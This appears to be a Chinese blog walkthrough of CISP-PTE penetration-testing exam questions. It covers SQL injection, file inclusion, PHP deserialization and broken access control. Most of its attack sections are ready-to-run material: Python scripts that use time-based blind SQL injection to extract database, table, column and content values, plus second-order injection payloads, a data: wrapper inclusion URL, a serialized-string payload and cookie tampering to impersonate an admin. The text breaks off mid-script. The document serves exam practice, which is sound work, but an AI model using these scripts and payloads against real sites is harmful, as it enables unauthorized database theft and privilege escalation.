周末帮好兄弟做PTE的真题,觉得确实挺有意思的,于是就有了这篇文章,侵删侵删哈
第一阶段 基础题目一:SQL注入所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
开始答题
这道题的有趣的地方就是,你先注册用户,不同于以往的360的PTE真题,并不是以admin用户去发表文章就能看到key,按照往常的先注册一个用户吧
可以看见,此时提示的代码显示过滤掉“#”、“–”注释符号,我们先正常写一篇文章试试
可以看见,这是一条插入语句,该插入方式的特点就是,插入的字段必须与表字段个数相同,多一个少一个都不行。我们看一下字段显示是否是2/3段 没戳,是2/3段位显示的位数,按照往常的只要能把后面的东西注释掉,然后把select语句或者直接利用报错注入插进去就行了,问题就是–、#都给注释了,那么此时应该如何利用呢?
笨人采用笨方法—SQL时间盲注解题可以看见,页面确实是延迟了2秒,本来想用布尔盲注的,因为我发现条件为真的时候,文章显示为1为假的时候显示为2,一般能用布尔盲注尽量不用时间盲注,因为时间盲注一旦哪次访问出现异常,例如页面响应慢了,网络延迟了,都会影响测试的结果。但是由于文章不会直接显示在当前页面,所以只能用时间盲注, 用的poc:
笔者一开始进入误区,想复杂了,写了一个盲注脚本,利用时间盲注进行注入查询' or if ((ascii (mid(database(), 1,1))=32),sleep(2),1) or '' or (if(ascii(mid((select table_name from information_schema.tables where table_schema like 0x32776562 limit 0,1),1,1))=1,1,sleep(2))) or '' or (if(ascii(mid((select column_name from information_schema.columns where table_schema like 0x32776562 and table_name like 0x61727469636C6531 limit 0,1),1,1))=1,sleep(2),1)) or '' or (if(ascii(mid((select group_concat(content) from (select * from article1 limit 0,5) as temp),1,1))=1,sleep(2),1)) or '时间盲注的话,老夫写出了一些还算能用的脚本,脚本如下
import requestsimport timedef database_len():length = 0database = ''for l in range(1, 8):startTime1 = time.time()url = "http://ip:81/start/post.php"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;","X-Forwarded-For": "127.0.0.1"}data = ("title=' or if (((length(database()))=%d),sleep(2),1) or '&content=" %(l))#print(data)response = requests.post(url, data=data, headers=header, verify=False, timeout=10)#print(response.text)if time.time() - startTime1 > 1:length += lprint("the length :", str(length))#database_len()def database_name():s = []for i in range(1, 5):for j in range(32,127):startTime1 = time.time()url = "http://ip:81/start/post.php"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;","X-Forwarded-For": "127.0.0.1"}data = ("title=' or if ((ascii (mid(database(),%d,1))=%d),sleep(2),1) or '&content=" % (i,j))#print(data)response = requests.post(url, data=data, headers=header, verify=False, timeout=10)if time.time() - startTime1 >= 1:#print(j)str = chr(int(j))s.append(str)breakprint('database_name:', ''.join(s))#database_name()def table_name():s = []for i in range(0, 5):for k in range (1, 10):for j in range(32, 127):startTime1 = time.time()url = "http://ip:81/start/post.php"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;","X-Forwarded-For": "127.0.0.1"}data = ("title=' or (if(ascii(mid((select table_name from information_schema.tables where table_schema like 0x32776562 limit %d,1),%d,1))=%d,sleep(2),1)) or '&content=" % (i,k,j))print(data)response = requests.post(url, data=data, headers=header, verify=False, timeout=10)if time.time() - startTime1 >= 1:# print(j)str = chr(int(j))s.append(str)breakprint('table_name:', ''.join(s))print('tables_name:', ''.join(s))#table_name()def table_name_1():s = []for i in range(0, 9):for j in range(32, 127):startTime1 = time.time()url = "http://ip:81/start/post.php"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;","X-Forwarded-For": "127.0.0.1"}data = ("title=' or (if(ascii(mid((select table_name from information_schema.tables where table_schema like 0x32776562 limit 0,1),%d,1))=%d,sleep(2),1)) or '&content=" % (i, j))print(data)response = requests.post(url, data=data, headers=header, verify=False, timeout=10)if time.time() - startTime1 >= 1:# print(j)str = chr(int(j))s.append(str)breakprint('table_name:', ''.join(s))#table_name_1()def column_name():s = []for i in range(0, 9):for j in range(32, 127):startTime1 = time.time()url = "http://ip:81/start/post.php"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;","X-Forwarded-For": "127.0.0.1"}data = ("title=' or (if(ascii(mid((select column_name from information_schema.columns where table_schema like 0x32776562 and table_name like 0x61727469636C6531 limit 0,1),%d,1))=%d,sleep(2),1)) or '&content=" % (i, j))print(data)response = requests.post(url, data=data, headers=header, verify=False, timeout=10)if time.time() - startTime1 >= 1:# print(j)str = chr(int(j))s.append(str)breakprint('column_name:', ''.join(s))#column_name() #contentdef key_name():s = []for i in range(0, 20):for j in range(32, 127):startTime1 = time.time()url = "http://ip:81/start/post.php"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","Cookie": "PHPSESSID=ou3nrutcen0sh484fjfte8fvp3;","X-Forwarded-For": "127.0.0.1"}data = ("title=' or (if(ascii(mid((select group_concat(content) from (select * from article1 limit 0,3) as temp),%d,1))=%d,sleep(2),1)) or '&content=" % (i, j))print(data)response = requests.post(url, data=data, headers=header, verify=False, timeout=10)if time.time() - startTime1 >= 1:# print(j)str = chr(int(j))s.append(str)breakprint('column_name:', ''.join(s))#key_name()这里面写了两个table_name,建议使用第二个,因为第一个虽然会将所有的结果都一起显示出来,但是太慢了,第二个table_name_1还是比较快的,大家可以手动更改limit的字段还获取想要的东西,比较准确
该脚本分别探测,当前数据库库名长度、当前数据库库名、当前数据库表表名,字段名以及详细的字段内容,此时已将所有的方法都给注释掉了,用哪个把那个注释删除即可,此处以最后的key内容为例
我很郁闷,我不信写脚本。。。。。
正解如下:注册两个用户,分别为 1234ewq 以及 */’1234ewq’);# 思路如下: 利用二次注入以及注入半闭合完成注入,先在*/’1234ewq’);#浏览器插入文章内容,poc依次如下
AAA',(select database()),/* AAA',(select group_concat(table_name) from information_schema.tables where table_schema like 0x32776562),/*AAA',(select group_concat(column_name) from information_schema.columns where table_schema like 0x32776562 and table_name like 0x61727469636C6531 ),/*AAA',(select group_concat(content) from (select * from article1 limit 0,1)as a ),/*分别爆出库、表以及字段;使用hex编码防止字符串报错
返回正常用户1234ewq 这里解答一下,利用/**/来注释多余的引号,致使我们插入的select语句能够显示出来,其次由于二次注入用户*/’1234ewq’);#最后插入至表中的用户名实际为 1234ewq 所以需要在正常用户去查看 让我们看一下效果吧
利用难度: 首先屏蔽注释符#、–,但是在注册的时候并没有屏蔽注释符,由于mysql特性,/**/里面的内容会被注释掉,且insert into 表名 value() 方法需要对字段一一填充,也就是说多一个字段不行,少一个字段也不行;且只有2/3字段才能显示出来,故先注册一个二次注入用户名,而后再插入语句中借助二次注入用户名进行特殊闭环,形成 insert article1 value(’’,‘AAA’,(select database()),/’,’’,’/ ‘1234ewq’);#’) 这样插入至数据库则会变成这样 insert article1 value(’’,‘AAA’,(select database()), ‘1234ewq’) 其次就是插入后进行字段查询,由于article1 表出现相同表名会导致数据库死循环,报错,故需要进行as别名,且若是不加入limit语句进行限制,则会无法导出任何内容,limit任意值皆可 错误的注入结果如下图
需进行重命名
基础题目三:文件包含题目二不知道被哪个大哥搞乱码了
开始答题
本想着用伪协议直接读取文件的,但是他在后面会默认加一个txt,于是就用写入伪协议吧 http://ip/start/index.php?page=data:text/plain,#
本来想用读取伪协议的,但是很尴尬的是没成功
php://filter file:// 可以访问本地的文件zip://phar:// 可以访问本地压缩文件php://inputdata:可以自己写入php代码 基础题目四:反序列化漏洞开始答题,出现代码
先简单的讲解一下php反序列化的形成原因 首先是php中的魔法函数如下
__construct()当一个对象创建时被调用__destruct()当一个对象销毁时被调用__toString()当一个对象被当作一个字符串使用__sleep() 在对象在被序列化之前运行__wakeup将在序列化之后立即被调用这些就是我们要关注的几个魔术方法了,如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞了。
此时代码里看不到方法或者是数组,这样的话反而简单很多;他只有一个unserialize() unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构 我们构造如下 vul.php?str=s:8:“CISP-PTE”;
基础题目五:失效的访问控制开始答题
看题目就知道了,需要管理员用户访问,那么说白了就是伪造管理员身份权限,SSO越权? 二话不说,刷新浏览器,抓包
直接把false改成true;吧username字段改成admin对应的base64编码即可
第二阶段 基础题目一:SQL注入开始答题,题目如下
这里就没有第一题难度大,但是墨迹程度丝毫不低于他。点击浏览该文章,同时进行抓包,看提示知道,'%") 不出意外闭合就是他了
好嘛,base64编码的,在我尝试使用常规注释之后,并没好使,而后使用poc如下
1'%" or 1=1 or "%'啥也别说了,上脚本,写就完了,我觉得不应该是用脚本完成的,但是没想到其他的有效的方式
import requestsimport base64import timedef database_len():length = 0for l in range(1, 18):url = "http://ip/start/"header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36","Content-Type": "application/x-www-form-urlencoded","X-Forwarded-For": "127.0.0.1"}poc1="1'%\" or "poc2="length(database())=%d " % lpoc3="or \"%'"poc=poc1+poc2+poc3 #由于里面有太多的单引号、双引号,为了能格式化输出,只能给他们分开走poc_1=poc.encode() #由于此时的类型是str,直接base64转码会报bytes错误,所以需要先转码# 1'%" or length(database())=%d or "%' #使用的人能看懂的poc是这个base64_encode=base64.b64encode(poc_1)#此时转码后的东西依然不能直接用,因为此时类型是bytesbase64_encode_1=base64_encode.decode() #将bytes再次转换成str类型,然后才能给data使用data = ('id='+base64_encode_1)print(data)response = requests.post(url, data=data, headers=header, verify=False, timeout=10)if "